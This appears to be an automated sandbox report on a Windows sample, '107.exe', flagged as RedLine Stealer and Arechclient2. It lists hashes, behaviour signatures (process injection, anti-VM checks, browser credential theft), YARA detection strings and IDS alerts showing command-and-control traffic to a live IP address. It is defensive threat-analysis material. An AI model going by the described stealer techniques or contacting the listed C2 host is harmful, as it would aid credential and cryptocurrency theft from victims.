Edit tour

Windows Analysis Report
107.exe

Overview

General Information

Sample name:	107.exe
Analysis ID:	1537509
MD5:	468bbc70a56325cc39d82e796879faa2
SHA1:	5488f804a50f35be53fbf646ecb75d0211f180f3
SHA256:	4732e7bbf0eb82ab024b4758bab398bb45320f45dbec2073bda054cce01b6d61
Tags:	exeuser-V3n0mStrike
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected RedLine Stealer

AI detected suspicious sample

Allocates memory in foreign processes

Connects to many ports of the same IP (likely port scanning)

Contains functionality to check if a debugger is running (CheckRemoteDebuggerPresent)

Contains functionality to inject code into remote processes

Injects a PE file into a foreign processes

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Uses known network protocols on non-standard ports

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Abnormal high CPU Usage

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to check if a debugger is running (OutputDebugString,GetLastError)

Contains functionality to communicate with device drivers

Contains functionality to debug other processes

Contains functionality to delete services

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Extensive use of GetProcAddress (often used to hide API calls)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

107.exe (PID: 7112 cmdline: "C:\Users\user\Desktop\107.exe" MD5: 468BBC70A56325CC39D82E796879FAA2)

RegAsm.exe (PID: 3928 cmdline: "C:\Users\user\Desktop\107.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2026335847.00000000045A0000.00000040.10000000.00040000.00000000.sdmp	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcb71a:$s14: keybd_event 0xd2489:$v1_1: grabber@ 0xcc2ec:$v1_2: <BrowserProfile>k__ 0xccd65:$v1_3: <SystemHardwares>k__ 0xcce24:$v1_5: <ScannedWallets>k__ 0xcceb4:$v1_6: <DicrFiles>k__ 0xcce90:$v1_7: <MessageClientFiles>k__ 0xcd25a:$v1_8: <ScanBrowsers>k__BackingField 0xcd2ac:$v1_8: <ScanWallets>k__BackingField 0xcd2c9:$v1_8: <ScanScreen>k__BackingField 0xcd303:$v1_8: <ScanVPN>k__BackingField 0xbeb32:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbe43e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
00000001.00000002.4487554897.0000000000402000.00000020.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.4487554897.0000000000402000.00000020.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2026450332.0000000004680000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.2026267845.00000000044C0000.00000004.00001000.00020000.00000000.sdmp	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xca31a:$s14: keybd_event 0xd1089:$v1_1: grabber@ 0xcaeec:$v1_2: <BrowserProfile>k__ 0xcb965:$v1_3: <SystemHardwares>k__ 0xcba24:$v1_5: <ScannedWallets>k__ 0xcbab4:$v1_6: <DicrFiles>k__ 0xcba90:$v1_7: <MessageClientFiles>k__ 0xcbe5a:$v1_8: <ScanBrowsers>k__BackingField 0xcbeac:$v1_8: <ScanWallets>k__BackingField 0xcbec9:$v1_8: <ScanScreen>k__BackingField 0xcbf03:$v1_8: <ScanVPN>k__BackingField 0xbd732:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbd03e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
Process Memory Space: 107.exe PID: 7112	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 107.exe PID: 7112	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3928	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 3928	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Click to see the 10 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
1.2.RegAsm.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
1.2.RegAsm.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
1.2.RegAsm.exe.400000.0.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.45b30d0.4.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.45b30d0.4.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.45b30d0.4.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.4680000.5.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.4680000.5.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.4680000.5.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.45b30d0.4.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.45b30d0.4.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.44d1cd0.1.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.45b30d0.4.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.44d1cd0.1.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.44d1cd0.1.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.4680000.5.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.4680000.5.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.4680000.5.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb684a:$s14: keybd_event 0xbd5b9:$v1_1: grabber@ 0xb741c:$v1_2: <BrowserProfile>k__ 0xb7e95:$v1_3: <SystemHardwares>k__ 0xb7f54:$v1_5: <ScannedWallets>k__ 0xb7fe4:$v1_6: <DicrFiles>k__ 0xb7fc0:$v1_7: <MessageClientFiles>k__ 0xb838a:$v1_8: <ScanBrowsers>k__BackingField 0xb83dc:$v1_8: <ScanWallets>k__BackingField 0xb83f9:$v1_8: <ScanScreen>k__BackingField 0xb8433:$v1_8: <ScanVPN>k__BackingField 0xa9c62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xa956e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.44d1cd0.1.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.44d1cd0.1.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.44d1cd0.1.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xb864a:$s14: keybd_event 0xbf3b9:$v1_1: grabber@ 0xb921c:$v1_2: <BrowserProfile>k__ 0xb9c95:$v1_3: <SystemHardwares>k__ 0xb9d54:$v1_5: <ScannedWallets>k__ 0xb9de4:$v1_6: <DicrFiles>k__ 0xb9dc0:$v1_7: <MessageClientFiles>k__ 0xba18a:$v1_8: <ScanBrowsers>k__BackingField 0xba1dc:$v1_8: <ScanWallets>k__BackingField 0xba1f9:$v1_8: <ScanScreen>k__BackingField 0xba233:$v1_8: <ScanVPN>k__BackingField 0xaba62:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xab36e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.44c0000.2.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.44c0000.2.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.44c0000.2.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xc8f1a:$s14: keybd_event 0xcfc89:$v1_1: grabber@ 0xc9aec:$v1_2: <BrowserProfile>k__ 0xca565:$v1_3: <SystemHardwares>k__ 0xca624:$v1_5: <ScannedWallets>k__ 0xca6b4:$v1_6: <DicrFiles>k__ 0xca690:$v1_7: <MessageClientFiles>k__ 0xcaa5a:$v1_8: <ScanBrowsers>k__BackingField 0xcaaac:$v1_8: <ScanWallets>k__BackingField 0xcaac9:$v1_8: <ScanScreen>k__BackingField 0xcab03:$v1_8: <ScanVPN>k__BackingField 0xbc332:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbbc3e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.45a0000.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.45a0000.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.45a0000.3.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xca31a:$s14: keybd_event 0xd1089:$v1_1: grabber@ 0xcaeec:$v1_2: <BrowserProfile>k__ 0xcb965:$v1_3: <SystemHardwares>k__ 0xcba24:$v1_5: <ScannedWallets>k__ 0xcbab4:$v1_6: <DicrFiles>k__ 0xcba90:$v1_7: <MessageClientFiles>k__ 0xcbe5a:$v1_8: <ScanBrowsers>k__BackingField 0xcbeac:$v1_8: <ScanWallets>k__BackingField 0xcbec9:$v1_8: <ScanScreen>k__BackingField 0xcbf03:$v1_8: <ScanVPN>k__BackingField 0xbd732:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbd03e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.45a0000.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.45a0000.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.45a0000.3.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xcb71a:$s14: keybd_event 0xd2489:$v1_1: grabber@ 0xcc2ec:$v1_2: <BrowserProfile>k__ 0xccd65:$v1_3: <SystemHardwares>k__ 0xcce24:$v1_5: <ScannedWallets>k__ 0xcceb4:$v1_6: <DicrFiles>k__ 0xcce90:$v1_7: <MessageClientFiles>k__ 0xcd25a:$v1_8: <ScanBrowsers>k__BackingField 0xcd2ac:$v1_8: <ScanWallets>k__BackingField 0xcd2c9:$v1_8: <ScanScreen>k__BackingField 0xcd303:$v1_8: <ScanVPN>k__BackingField 0xbeb32:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbe43e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
0.2.107.exe.44c0000.2.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.107.exe.44c0000.2.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.107.exe.44c0000.2.raw.unpack	MALWARE_Win_Arechclient2	Detects Arechclient2 RAT	ditekSHen	0xca31a:$s14: keybd_event 0xd1089:$v1_1: grabber@ 0xcaeec:$v1_2: <BrowserProfile>k__ 0xcb965:$v1_3: <SystemHardwares>k__ 0xcba24:$v1_5: <ScannedWallets>k__ 0xcbab4:$v1_6: <DicrFiles>k__ 0xcba90:$v1_7: <MessageClientFiles>k__ 0xcbe5a:$v1_8: <ScanBrowsers>k__BackingField 0xcbeac:$v1_8: <ScanWallets>k__BackingField 0xcbec9:$v1_8: <ScanScreen>k__BackingField 0xcbf03:$v1_8: <ScanVPN>k__BackingField 0xbd732:$v1_9: displayName[AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7}Local Extension Settingshost 0xbd03e:$v1_10: \sitemanager.xml MB or SELECT * FROM Cookiesconfig
Click to see the 28 entries

Suricata Signatures

ET MALWARE Arechclient2 Backdoor/SecTopRAT CnC Init

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-19T03:37:01.560847+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	49704	TCP
2024-10-19T03:38:22.683924+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50042	TCP
2024-10-19T03:38:31.985069+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50048	TCP
2024-10-19T03:38:36.189570+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50051	TCP
2024-10-19T03:38:47.503067+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50058	TCP
2024-10-19T03:39:03.110638+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50067	TCP
2024-10-19T03:39:15.780986+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50081	TCP
2024-10-19T03:39:21.690306+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50085	TCP
2024-10-19T03:40:13.261334+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50130	TCP
2024-10-19T03:40:20.156286+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50139	TCP
2024-10-19T03:40:33.293702+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50153	TCP
2024-10-19T03:40:41.264577+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50161	TCP
2024-10-19T03:40:50.401461+0200	2029217	1	Malware Command and Control Activity Detected	213.109.202.97	15647	192.168.2.5	50168	TCP

ET MALWARE Arechclient2 Backdoor/SecTopRAT Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-19T03:37:00.830942+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:00.947342+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.054485+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.163095+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.283712+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.397287+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.508517+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.672085+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:01.773147+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:02.189651+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:02.308239+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:02.445861+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:37:02.784485+0200	2051910	1	A Network Trojan was detected	192.168.2.5	49704	213.109.202.97	15647	TCP
2024-10-19T03:38:21.654481+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50037	213.109.202.97	15647	TCP
2024-10-19T03:38:21.664100+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50037	213.109.202.97	15647	TCP
2024-10-19T03:38:21.685299+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.695346+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.711811+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.726564+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.743699+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50038	213.109.202.97	15647	TCP
2024-10-19T03:38:21.763694+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50039	213.109.202.97	15647	TCP
2024-10-19T03:38:21.773581+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50039	213.109.202.97	15647	TCP
2024-10-19T03:38:21.789006+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50039	213.109.202.97	15647	TCP
2024-10-19T03:38:21.804674+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50039	213.109.202.97	15647	TCP
2024-10-19T03:38:21.825939+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.835850+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.851524+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.868609+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.883105+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50041	213.109.202.97	15647	TCP
2024-10-19T03:38:21.908223+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.913957+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.931684+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.951076+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.961332+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.977742+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:21.992214+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.008624+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.023396+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.039054+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.054632+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.071345+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.085880+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.101727+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.117129+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.132850+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.148420+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.165655+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.180056+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.195245+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.211191+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.226716+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.242159+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.263507+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.274043+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.289274+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.304761+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.320608+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
2024-10-19T03:38:22.335841+0200	2051910	1	A Network Trojan was detected	192.168.2.5	50042	213.109.202.97	15647	TCP
